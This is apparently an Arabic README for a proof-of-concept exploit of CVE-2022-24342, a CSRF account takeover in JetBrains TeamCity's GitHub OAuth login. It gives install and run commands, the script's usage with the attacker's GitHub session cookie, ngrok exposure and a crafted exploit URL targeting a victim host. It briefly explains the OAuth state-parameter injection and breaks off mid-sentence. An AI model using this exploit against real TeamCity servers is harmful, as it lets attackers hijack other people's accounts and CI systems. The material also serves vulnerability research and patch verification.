
PoC لـ CVE-2022-24342: الاستيلاء على الحساب عبر CSRF في مصادقة GitHub
JetBrains TeamCity - استيلاء على الحساب عبر CSRF في مصادقة GitHub (PoC)
حاول تسجيل الدخول بحساب GitHub الخاص بالمهاجم إلى نسخة TeamCity المستهدفة لجعل تطبيق GitHub الخاص بـ TeamCity مخوَّلاً.
قم بالتثبيت والتشغيل:
$ git clone https://github.com/yuriisanin/CVE-2022-24342
$ cd CVE-2022-24342/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] -s S [-p P]
optional arguments:
-h, --help show this help message and exit
-s S GitHub user session
-p P Uvicorn port
$ python3 exploit.py -s {attackers_github_session_cookie}
إذا قمت بتشغيل الأداة على جهازك المحلي، قد تحتاج إلى استخدام Ngrok أو بدائل.
$ ngrok http 8000
homepage: "http://{exploit-host}:8000"
authorization callback url: "http://{exploit-host}:8000/callback"
http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}
عرض توضيحي:
كانت TeamCity عرضة لحقن معاملات الاستعلام أثناء تدفق OAuth2، مما سمح للمهاجم بإعادة توجيه المستخدم إلى أي تطبيق GitHub OAuth2، واعتراض معامل state الصالح، وربط أي حساب GitHub بحساب الضحية على TeamCity.
كان ذلك ممكنًا بسبب الأمور التالية:

